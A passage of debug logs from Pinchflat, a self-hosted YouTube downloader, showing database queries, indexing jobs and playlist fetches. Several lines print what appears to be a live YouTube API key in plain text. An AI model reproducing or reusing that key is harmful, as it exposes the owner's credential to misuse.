s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:15:23.288 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.288 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:23.288 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.289 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:15:23.289 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.289 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:23.549 [debug] QUERY OK source="media_items" db=0.6ms idle=260.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 17:15:23.550 [debug] QUERY OK source="media_items" db=0.4ms idle=261.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:15:23.574 [debug] QUERY OK source="tasks" db=23.6ms idle=261.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268426, 15, ~U[2026-10-09 22:15:23Z], ~U[2026-10-09 22:15:23Z]] 17:15:23.574 [info] {"args":{"id":15},"id":5268387,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":286324,"event":"job:stop","queue_time":15776177,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:23.581 [info] {"args":{"id":3},"id":5268388,"meta":{},"system_time":1791584123581203717,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:23.581 [debug] QUERY OK source="sources" db=0.1ms idle=30.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:15:23.581 [debug] QUERY OK source="settings" db=0.1ms idle=30.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.581 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:23.582 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.582 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:15:23.582 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:23.582 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:23.796 [debug] QUERY OK source="media_items" db=0.6ms idle=213.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 17:15:23.797 [debug] QUERY OK source="media_items" db=0.5ms idle=214.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:15:23.798 [debug] QUERY OK source="tasks" db=0.1ms idle=78.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268427, 3, ~U[2026-10-09 22:15:23Z], ~U[2026-10-09 22:15:23Z]] 17:15:23.798 [info] {"args":{"id":3},"id":5268388,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":216828,"event":"job:stop","queue_time":15339314,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:41.001 [info] GET /sources/93352545-e4c8-4fef-be42-ab095b3fa128/feed.xml 17:15:41.001 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "93352545-e4c8-4fef-be42-ab095b3fa128"} Pipelines: [:maybe_basic_auth] 17:15:41.001 [debug] QUERY OK source="sources" db=0.1ms idle=1654.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["93352545-e4c8-4fef-be42-ab095b3fa128"] 17:15:41.005 [debug] QUERY OK source="media_items" db=3.8ms idle=1654.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [41, 2000] 17:15:41.023 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1676.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [41] 17:15:41.023 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1287.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577907] 17:15:41.023 [info] Sent 200 in 22ms 17:15:42.744 [info] {"args":{"id":27},"id":5268389,"meta":{},"system_time":1791584142744162502,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:42.744 [debug] QUERY OK source="sources" db=0.2ms idle=397.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:15:42.744 [debug] QUERY OK source="settings" db=0.0ms idle=397.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:42.745 [debug] QUERY OK source="media_profiles" db=0.1ms idle=398.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:42.745 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:42.745 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:15:42.745 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:42.745 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:42.917 [debug] QUERY OK source="media_items" db=0.6ms idle=172.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 17:15:42.918 [debug] QUERY OK source="media_items" db=0.8ms idle=173.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:15:42.919 [debug] QUERY OK source="tasks" db=0.1ms idle=174.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268428, 27, ~U[2026-10-09 22:15:42Z], ~U[2026-10-09 22:15:42Z]] 17:15:42.920 [info] {"args":{"id":27},"id":5268389,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175660,"event":"job:stop","queue_time":419671,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:43.745 [info] {"args":{"id":1},"id":5268390,"meta":{},"system_time":1791584143745200006,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:43.745 [debug] QUERY OK source="sources" db=0.1ms idle=825.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:15:43.745 [debug] QUERY OK source="settings" db=0.0ms idle=825.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:43.745 [debug] QUERY OK source="media_profiles" db=0.0ms idle=819.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:43.745 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:43.746 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:15:43.746 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:43.746 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:43.900 [debug] QUERY OK source="media_items" db=0.5ms idle=154.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 17:15:43.912 [debug] QUERY OK source="media_items" db=11.7ms idle=155.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", 